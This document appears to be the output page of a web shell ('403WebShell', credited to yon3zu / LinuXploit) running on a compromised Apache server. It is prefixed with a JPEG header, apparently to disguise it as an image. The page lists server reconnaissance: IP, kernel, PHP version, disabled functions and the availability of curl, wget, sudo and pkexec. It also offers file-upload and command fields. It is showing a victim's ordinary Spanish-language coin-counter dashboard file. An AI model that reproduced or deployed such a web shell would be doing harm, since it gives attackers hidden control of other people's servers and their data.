����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.85
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/thread-self/root/var/www/html/rockyo/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/thread-self/root/var/www/html/rockyo/view/dashboard.php
<?php include("header.php"); ?>

<!DOCTYPE html>
<html lang="es">
<head>
  <meta charset="UTF-8">
  <title>Contadores Rockio</title>
  <!-- Bootstrap 5 -->
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
  <!-- Chart.js -->
  <script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <style>
    body {
      background-color: #f8f9fa;
      padding-top: 20px;
    }
    .card {
      border-radius: 1rem;
      box-shadow: 0 0 15px rgba(0,0,0,0.08);
      margin-bottom: 20px;
    }
    #last-update {
      font-size: 0.9em;
      color: gray;
    }
    canvas {
      width: 100% !important;
      height: auto !important;
    }
  </style>
</head>
<body>

<div class="container-fluid">
  <h4 class="text-center mb-3">Contadores de Monederos - Rockio</h4>

  <div class="row justify-content-center">
    <div class="col-12 col-md-6">

      <!-- Monederos -->
      <div class="card p-3">
        <div class="d-flex justify-content-between align-items-center mb-2">
          <h6 class="mb-0">Último Registro</h6>
          <span class="badge bg-primary">Actualiza cada 2s</span>
        </div>
        <ul class="list-group list-group-flush mb-2">
          <li class="list-group-item d-flex justify-content-between">Monedero 1: <strong id="m1">-</strong></li>
          <li class="list-group-item d-flex justify-content-between">Monedero 2: <strong id="m2">-</strong></li>
        </ul>
        <p id="last-update" class="text-center mb-0">Actualizado: <span id="ts">-</span></p>
      </div>

      <!-- Gráfica -->
      <div class="card p-3">
        <div class="d-flex justify-content-between align-items-center mb-2">
          <h6 class="mb-0">Gráfica de Monederos</h6>
          <span class="badge bg-success">Actualiza cada 10s</span>
        </div>
        <canvas id="pieChart"></canvas>
      </div>

    </div>
  </div>
</div>

<script>
  let pieChart;
  let ultimoM1 = 0;
  let ultimoM2 = 0;

  // Actualiza los datos cada 2s
  function actualizarDatosMonederos() {
    fetch("../ajax/get_contadores.php")
      .then(res => res.json())
      .then(json => {
        if (json.success) {
          ultimoM1 = parseInt(json.data.monedero_1);
          ultimoM2 = parseInt(json.data.monedero_2);
          document.getElementById("m1").textContent = ultimoM1;
          document.getElementById("m2").textContent = ultimoM2;
          document.getElementById("ts").textContent = json.data.timestamp;
        }
      })
      .catch(err => console.error("Error al obtener monederos:", err));
  }

  // Actualiza la gráfica cada 10s
  function actualizarGrafica() {
    const data = {
      labels: ["Monedero 1", "Monedero 2"],
      datasets: [{
        data: [ultimoM1, ultimoM2],
        backgroundColor: ['#0d6efd', '#198754'],
      }]
    };

    if (pieChart) {
      pieChart.data = data;
      pieChart.update();
    } else {
      const ctx = document.getElementById('pieChart').getContext('2d');
      pieChart = new Chart(ctx, {
        type: 'pie',
        data: data,
        options: {
          responsive: true,
          plugins: {
            legend: { position: 'bottom' }
          }
        }
      });
    }
  }

  // Inicial
  actualizarDatosMonederos();
  actualizarGrafica();

  // Intervalos
  setInterval(actualizarDatosMonederos, 2000);
  setInterval(actualizarGrafica, 10000);
</script>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit